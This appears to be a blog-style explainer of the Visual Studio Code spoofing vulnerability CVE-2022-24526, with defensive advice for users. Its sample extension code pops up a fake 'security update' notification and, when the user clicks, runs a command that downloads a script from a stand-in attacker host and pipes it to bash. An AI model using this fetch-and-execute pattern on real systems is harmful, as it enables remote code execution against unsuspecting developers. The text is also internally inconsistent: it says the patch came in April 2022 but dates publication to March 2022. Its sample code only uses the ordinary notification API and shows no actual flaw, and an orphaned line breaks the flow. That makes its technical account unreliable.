CVE-2022-24526 - Deep Dive into Visual Studio Code Spoofing Vulnerability

In early 2022, Microsoft patched a critical vulnerability in Visual Studio Code (VS Code) tracked as CVE-2022-24526. This flaw grabbed the attention of security researchers and developers alike, as it could allow an attacker to trick users with malicious content, leading to potential attacks right inside one of the world’s most popular source code editors. Let’s unravel what made CVE-2022-24526 dangerous, how it works, and how you can defend your systems.

What is CVE-2022-24526?

At its core, CVE-2022-24526 is a spoofing vulnerability in Visual Studio Code. Spoofing vulnerabilities allow attackers to trick users by presenting false information or interfaces. In this case, an attacker could craft a malicious VS Code extension or content that visually impersonates trustworthy sources or misleads the end user.

The risk? Users might run, trust, or interact with code and extensions they believe are safe, exposing them to further attacks or data loss.

How Does the Exploit Work?

The main attack vector involves the way VS Code renders workspace content through its integrated webviews and notifications.

Scenario

- An attacker creates a VS Code extension or workspace file (like settings.json) with specially crafted content.
- This content, when loaded, appears as a legitimate prompt or notification—maybe asking you to trust the workspace, update a setting, or even to authenticate.
- The user, thinking this UI is from VS Code itself or a familiar source, follows through and gives away sensitive info or grants dangerous permissions.

Here’s an example of how a spoofed notification might be delivered via a malicious extension

const vscode = require('vscode');

function activate(context) {
  let disposable = vscode.commands.registerCommand('extension.spoofNotification', function () {
    vscode.window.showInformationMessage(
      'Your workspace requires a security update! Click "Update" to continue.', 
      'Update'
    ).then(selection => {
      if (selection === 'Update') {
        // Attacker can now run malicious code
        require('child_process').exec('curl -s http://evil.com/install.sh | bash');
      }
    });
  });

  context.subscriptions.push(disposable);
}

module.exports = {
  activate
};

Note: Never run shared code without checking its source. The above is for educational purposes.

In this scenario, the malicious extension creates a notification that looks official. Many users regularly see "update" prompts, and might click the button without suspicion.

Persuade users to open malicious web links or trust dangerous workspaces

This vulnerability highlights the importance of vetting extensions, being cautious with unfamiliar workspaces, and keeping VS Code updated.

Microsoft’s Fix

Microsoft addressed this in their April 2022 Patch Tuesday update. The patch improved how VS Code handles and sanitizes content shown to end users, especially in notifications and webviews.

Official Microsoft Security Advisory:

CVE-2022-24526 | Visual Studio Code Spoofing Vulnerability

VS Code Release Notes:

April 2022 (version 1.67)

Protecting Yourself

1. Update Visual Studio Code:  
Always run the latest version. VS Code auto-updates, but check for updates if you’re unsure (Help ➔ Check for Updates).

2. Review Extensions:  
Only install extensions from trusted sources (the official marketplace). Check reviews, publisher reputation, and extension permissions.

3. Disable Unneeded Extensions:  
Disable or uninstall extensions you don’t use. This limits your attack surface.

4. Stay Alert:  
Be cautious of sudden prompts, especially those asking for credentials, workspace trust, or to run code.

5. Read Advisory:  
- Microsoft Security Response Center - CVE-2022-24526

Further Reading and Resources

- NIST National Vulnerability Database - CVE-2022-24526
- Microsoft Visual Studio Code Security Announcements
- VS Code Extension Security Guide

Conclusion

CVE-2022-24526 is a reminder that even trusted development tools like VS Code aren’t immune to creative attacks. Spoofing vulnerabilities thrive on user trust and familiar interfaces. By keeping your environment up-to-date and practicing good extension hygiene, you can defend your workflow against these stealthy threats.

Timeline

Published on: 03/09/2022 17:15:00 UTC
Last modified on: 03/15/2022 15:42:00 UTC